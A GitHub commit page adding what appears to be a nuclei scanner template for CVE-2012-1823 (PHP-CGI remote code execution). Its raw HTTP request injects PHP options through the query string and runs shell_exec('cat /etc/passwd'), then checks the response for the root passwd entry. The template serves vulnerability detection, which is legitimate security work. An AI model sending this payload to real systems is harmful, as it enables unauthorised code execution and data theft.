Merge pull request #2109 from pikpikcu/patch-201

Create CVE-2012-1823
patch-1
Prince Chaddha 2021-07-20 17:48:02 +05:30 committed by GitHub
commit 103c97a013
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 35 additions and 0 deletions

View File

@ -0,0 +1,35 @@
id: CVE-2012-1823
info:
name: PHP CGI v5.3.12/5.4.2 RCE
author: pikpikcu
severity: critical
reference: |
- https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823
- https://nvd.nist.gov/vuln/detail/CVE-2012-1823
description: |
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.
tags: rce,php,cve,cve2012
requests:
- raw:
- |
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
<?php echo shell_exec("cat /etc/passwd"); ?>
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
condition: and
- type: status
status:
- 200